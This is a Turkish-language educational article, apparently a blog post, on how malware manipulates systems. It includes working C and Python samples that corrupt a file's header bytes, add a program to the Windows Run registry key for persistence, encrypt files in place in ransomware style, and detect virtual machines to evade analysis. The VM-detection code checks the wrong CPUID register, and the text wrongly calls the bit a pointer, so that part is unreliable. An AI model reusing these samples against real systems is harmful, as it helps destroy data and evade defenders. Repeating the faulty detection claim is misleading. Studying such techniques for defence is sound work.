Malware Çalışma Mantığı ve Dosya Manipülasyonu
Sorumluluk Reddi
Bu makale, kötü amaçlı yazılım (malware) analizi ve işleyişi hakkında teknik bilgi sağlamak amacıyla hazırlanmış olup, Kişisel Verilerin Korunması Kanunu (KVKK) ve Avrupa Birliği Genel Veri Koruma Yönetmeliği (GDPR) gibi ilgili gizlilik yasalarına uygun şekilde oluşturulmuştur. Amacı, siber güvenlik profesyonellerine ve araştırmacılara kötü amaçlı yazılımların nasıl çalıştığını anlamaları için rehberlik etmektir. Bu bilgileri kötü niyetle kullanmak yasa dışıdır ve cezai yaptırımlara yol açabilir. Yazar, bu bilgilerin kötüye kullanımından sorumlu tutulamaz. Kötü amaçlı yazılım geliştirmek veya yaymak kanunlara aykırıdır ve bu makale yalnızca eğitim ve farkındalık amacıyla paylaşılmaktadır.
UYARI!
Bu makalede yer alan kod örnekleri, yalnızca eğitim ve araştırma amaçlıdır. Bu kodların kötü amaçlı yazılımlar üzerinde test edilmesi veya kendi makinelerinizde kullanılmaması son derece önemlidir. Bu tür kodlar, sisteminize zarar verebilir, verilerinizi riske atabilir veya yasal sonuçlar doğurabilir. Bu nedenle, bu kodları kendi bilgisayarlarınızda veya izinsiz ortamlarda çalıştırmaktan kaçının. Herhangi bir güvenlik testi veya analiz işlemi, yalnızca yasal izinler ve etik standartlar çerçevesinde gerçekleştirilmelidir. Yazar, bu kodların kötüye kullanımından veya ortaya çıkabilecek olumsuz sonuçlardan sorumlu tutulamaz.
— — — — — — — — — — — — — — — — — — — — — — — — — — —
Kötü amaçlı yazılımlar (malware), genellikle kullanıcıların sistemlerine sızarak veri hırsızlığı, dosya bozulması, fidye yazılımı veya zararlı işlemler yürütme gibi amaçlarla tasarlanmış programlardır. Bu makalede, bir malware’ın dosya manipülasyonu yaparak nasıl sistemleri etkilediği teknik detaylar ele alınarak açıklanacaktır.
Malware’ın Temel Çalışma Yapısı
- Malware, kullanıcı hatası, güvenlik açığı veya sosyal mühendislik yöntemleri kullanılarak hedef sisteme giriş yapar.
- Sistemdeki önemli dosyaları değiştirerek, bozarak veya şifreleyerek kullanıcıya zarar vermeye başlar.
- Sistem yeniden başlatıldığında aktif kalmak için çeşitli yöntemlerle (örneğin, kayıt defteri düzenlemeleri veya zamanlanmış görevler ekleyerek) sistemde kalıcı hale gelir.
- Asıl önemli olan ise zararlı işlemler gerçekleştirilmesi. Bunlar veri hırsızlığı, dosya şifreleme veya başka zararlı işlemler olabilir.
Dosya Manipülasyonu Örneği
Bir malware, hedef sistemdeki belirli dosyaları değiştirmek için basit dosya okuma ve yazma işlemlerini kullanabilir.
Örnek olarak, C dilinde bir dosya bozulması örneğini inceleyelim:
#include <stdio.h>
#include <stdlib.h>
void corrupt_file(const char *filename) {
FILE *file = fopen(filename, "r+b");
if (file == NULL) {
printf("Dosya açılamadı: %s\n", filename);
return;
}
// Dosyanın başındaki ilk birkaç byte buradaki kod satırı ile bozulur
fseek(file, 0, SEEK_SET);
for (int i = 0; i < 10; i++) {
fputc(0xFF, file); // Dosya başına bozuk veriler yazılır
}
printf("%s dosyası başarıyla bozuldu.\n", filename);
fclose(file);
}
int main() {
const char *target_file = "hedef_dosya.txt";
corrupt_file(target_file);
return 0;
}
Yukarıdaki kod, bir dosyanın başındaki ilk 10 byte’ı bozar. Kötü amaçlı bir yazılım bu tarz bir yaklaşımı önemli sistem dosyalarına uygulayarak sistemi çökertmeyi amaçlayabilir.
Kayıt Defteri (Registry) Manipülasyonu
Windows tabanlı sistemlerde malware’lar, kayıt defterine ekleme yaparak kendilerini her açılışta çalıştıracak şekilde ayarlayabilir. Bu işlem genellikle “RUN” anahtarı altında kullanılır.
Örnek olarak aşağıdaki kodları inceleyebiliriz:
#include <windows.h>
#include <stdio.h>
void persist_malware() {
HKEY hKey;
const char* malwarePath = "C:\\malicious.exe";
// Yazılım kendisini Run anahtarı altına ekliyor
if (RegOpenKeyEx(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, KEY_WRITE, &hKey) == ERROR_SUCCESS) {
RegSetValueEx(hKey, "MalwareExample", 0, REG_SZ, (const BYTE*)malwarePath, strlen(malwarePath));
RegCloseKey(hKey);
printf("Malware kayıt defterine başarıyla eklendi.\n");
} else {
printf("Hata oluştu.\n");
}
}
int main() {
persist_malware();
return 0;
}
Yukarıdaki kod, kötü amaçlı bir yazılımın her açılışta çalışmasını sağlamak için kendisini Windows kayıt defterine ekler. Bu teknik, malware’ın “persistent” yani kalıcı olmasını sağlar ve sistem her açıldığında kötü amaçlı yazılım otomatik olarak çalışır.
Dosya Şifreleme ve Fidye Yazılımı (Ransomware)
Fidye yazılımlarının temel mantığı, kullanıcının dosyalarını şifreleyerek erişimlerini engellemek ve karşılığında fidye talep etmektir.
Örnek olarak:
from cryptography.fernet import Fernet
# Fernet, Python'da simetrik şifreleme için kullanılan güçlü ve kullanımı kolay bir araçtır.
# Normalde verileri yetkisiz erişime karşı korumak için kullanılır.
# Biz burada malware'ın dosyaları nasıl şifrelediğini göstermek amaçlı kullanıyoruz.
# Bu kod bloğunda anahtar oluşturulur
def create_key():
key = Fernet.generate_key()
with open("key.key", "wb") as key_file:
key_file.write(key)
return key
# Burada dosya şifrelemesinin yapılması yer alıyor
def encrypt_file(filename, key):
fernet = Fernet(key)
with open(filename, "rb") as file:
file_data = file.read()
encrypted_data = fernet.encrypt(file_data)
with open(filename, "wb") as file:
file.write(encrypted_data)
# Burada anahtar oluşturulyor ve dosya şifreleniyor
key = create_key()
encrypt_file("hedef_dosya.txt", key)
print("Dosya başarıyla şifrelendi.")
Bu Python kodu, bir dosyayı “cryptography” kütüphanesini kullanarak şifreler. Kötü amaçlı yazılımlar, bu tarz bir işlemi dosya sistemi üzerinde geniş çapta uygulayarak kullanıcının tüm önemli dosyalarını şifreleyebilir.
Anti-Analiz Teknikleri
Bir malware, analiz edilmekten kaçınmak için çeşitli teknikler kullanabilir. Örneğin, sanal makine veya analiz ortamlarını tespit edebilir.
Bunun için aşağıdaki kodu inceleyebiliriz:
#include <windows.h>
int is_virtual_machine() {
unsigned int cpu_info[4] = {0};
__cpuid(cpu_info, 1);
return ((cpu_info[1] >> 31) & 1); // Sanal makine tespiti burada yapılıyor
}
int main() {
if (is_virtual_machine()) {
printf("Bu program sanal bir makinede çalıştırılamaz.\n");
exit(1);
} else {
printf("Program normal sistemde çalışıyor.\n");
}
}
Yukarıdaki kod, sanal bir makineyi tespit etmek için “CPUID” komutunu kullanır. Eğer sistemin bir sanal makine olduğu tespit edilirse, kötü amaçlı yazılım çalışmayı durdurur.
Dizi içindeki belirli bir bit (1. elemanın 31. biti) kontrol edilir. Bu bit, genellikle sanal makine tespiti için kullanılan bir pointerdır. Eğer bu bit 1 ise sistem sanal bir makinede çalışıyordur.
— — — — — — — — — — — — — — — — — — — — — — —
Kötü amaçlı yazılımlar, kullanıcıların ve sistemlerin verilerini manipüle etmek ve zarar vermek için birçok farklı teknik kullanır. Dosya manipülasyonu, kayıt defteri düzenlemeleri, fidye yazılımı gibi yöntemlerle saldırılar gerçekleştirebilirler. Yukarıda verilen örnekler, kötü amaçlı yazılımların teknik detaylarına dair bir fikir vermektedir ve bu tür tehditlere karşı alınması gereken önlemlerin ne kadar önemli olduğunu göstermektedir. Okuyan ve emeği geçen herkese teşekkür ederim.
Bana “Linkedin” üzerinden bağlantı isteği gönderebilirsiniz.